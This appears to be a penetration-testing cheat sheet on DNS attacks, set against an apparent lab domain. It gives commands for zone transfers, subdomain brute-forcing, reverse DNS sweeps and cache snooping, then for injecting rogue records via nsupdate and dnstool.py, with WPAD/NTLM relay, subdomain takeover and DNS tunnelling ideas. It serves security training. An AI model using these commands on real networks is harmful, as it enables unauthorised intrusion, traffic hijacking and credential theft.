DNS is reconnaissance gold. A misconfigured DNS server leaks the internal hostname map, subdomain structure, mail setup, and sometimes credentials via dynamic update abuse. Even without misconfig, DNS tells you which hosts to attack next.
Discovery
# Version
dig @<IP> version.bind chaos txt
dig @<IP> version.server chaos txt
# NSE
nmap -p53 -sU -sV -sC --script="dns-recursion,dns-cache-snoop,dns-nsid" <IP>
# Who answers?
dig @<IP> any .
dig @<IP> ns inlanefreight.com
dig @<IP> soa inlanefreight.comZone Transfer (AXFR)
If the DNS server is misconfigured to allow zone transfers, it hands over every record in a zone — hostnames, IPs, MX, SPF, TXT secrets, internal subnet mapping.
# Try every nameserver
for ns in $(dig +short ns inlanefreight.com); do
echo "=== $ns ==="
dig axfr @"$ns" inlanefreight.com
done
# Or via dnsenum / dnsrecon
dnsenum --dnsserver <IP> inlanefreight.com
dnsrecon -d inlanefreight.com -t axfrIf it succeeds, drop the full map into hosts.txt for downstream nmap:
dig axfr @<IP> inlanefreight.com | awk '/IN\s+A\s/ {print $NF}' | sort -u > hosts.txtSubdomain Brute Force
When AXFR is denied, brute force.
# dnsenum against DNS wordlist
dnsenum --threads 50 -f /usr/share/wordlists/dns-Jhaddix.txt inlanefreight.com
# dnsrecon brute
dnsrecon -d inlanefreight.com -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t brt
# gobuster DNS mode
gobuster dns -d inlanefreight.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 50
# puredns (fast)
puredns bruteforce /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt inlanefreight.com
# amass — slower, combines passive + active
amass enum -active -d inlanefreight.com -brute -w list.txtReverse DNS (PTR) Sweep
If internal DNS has PTR records, you get hostnames back from IPs.
# dnsrecon
dnsrecon -r 10.10.10.0/24
# Loop
for i in $(seq 1 254); do dig +short -x 10.10.10.$i; done
# nmap
nmap -sL 10.10.10.0/24 # list scan — no probing, just reverse DNS lookupsDNS Cache Snooping
Ask the resolver about a name without recursion. If it returns an answer immediately, the name is cached — someone there has visited it.
dig @<IP> +norecurse www.competitor.com
# If answer status NOERROR + answer section populated → cached hitUseful intel: what cloud services does the org use, which external partners, which auth providers.
Dynamic Update Abuse (RFC 2136)
If the zone allows unauthenticated updates (misconfigured BIND or Windows DNS), you can add arbitrary records — poisoning, persistence, man-in-the-middle setup.
# Test with nsupdate
nsupdate <<EOF
server <IP>
zone inlanefreight.local
update add attacker.inlanefreight.local 60 A 10.10.14.5
send
EOF
# Query to confirm
dig @<IP> attacker.inlanefreight.localAttack ideas once you can inject:
- Hijack
wpad.<domain>→ serve malicious PAC → steal web auth - Add a fake
fileserver.<domain>that points to your Responder box → WPAD + NTLM relay play - Register an SRV record for
_ldap._tcp.<domain>to redirect Kerberos clients
Windows DNS Secure Dynamic Update Bypass
Default AD-integrated zones require authenticated updates. Any domain user can register a record if the name doesn’t already exist. Register the name of a host that doesn’t exist yet to pre-stage attacks.
# From an AD-joined Linux box with a TGT
dnstool.py -u 'INLANEFREIGHT\bob' -p 'Pass!' -a add -r attacker -d 10.10.14.5 -z inlanefreight.local dc01.inlanefreight.localHidden SOA / Internal Record Leak
# Occasionally internal-only subdomains leak via AXFR denied but ANY succeeds
dig any inlanefreight.com @<IP>
# Check all common record types
for t in A AAAA MX NS SOA TXT SRV CAA CNAME; do
dig @<IP> "$t" inlanefreight.com +noall +answer
doneTXT records often leak:
- SPF records → mail infrastructure
- DKIM selectors → mail infrastructure versions
- DMARC → reporting addresses (internal email)
- Google / Microsoft verification tokens → cloud footprint
Subdomain Takeover
Dangling DNS records (CNAME pointing to deprovisioned cloud resources) let an attacker claim the resource and serve content from the trusted subdomain.
# Enumerate CNAMEs
subjack -w subs.txt -t 50 -timeout 30 -ssl -c fingerprints.json
# Check for takeover-vulnerable services (S3, Azure, Heroku, GitHub Pages, etc.)
subfinder -d inlanefreight.com -silent | subjack -w - -ssl
# Recon-only
dnsdumpster.com / securitytrails.comTakeover candidates: nonexistent.s3.amazonaws.com, mywebapp.azurewebsites.net, old.herokuapp.com, demo.github.io.
Zone Walking (NSEC/NSEC3)
DNSSEC zones that use NSEC leak the entire zone contents via chained NSEC records.
ldns-walk inlanefreight.com @<IP>
# For NSEC3: nsec3walker (brute force the hashed names)DNS as Covert Channel / Exfil
Covered in Pivoting & Tunneling — dns2tcp, iodine, dnscat2 tunnel TCP over DNS when every other egress is blocked.
Common Pitfalls
- Internal DNS servers often won’t resolve external names from the outside — use their recursive resolver inside the network.
- Multiple NS records: AXFR against each — misconfig on one is sufficient.
dig anyisn’t reliable on modern resolvers (RFC 8482) — iterate record types explicitly.- Rate-limiting: fast subdomain brute can get your IP tarpitted. Use
-t <low>or tool-specific--qpsflag.
Attack Chain
nmap 53 → zone transfer attempt
↓ fail
subdomain brute (fast wordlist first, big wordlist overnight)
↓
reverse DNS the discovered A records
↓
TXT / SRV record enumeration for infra intel
↓
Try dynamic update → if permitted, WPAD / fake fileserver
↓
Pass hostnames into nmap for next-phase service enumeration
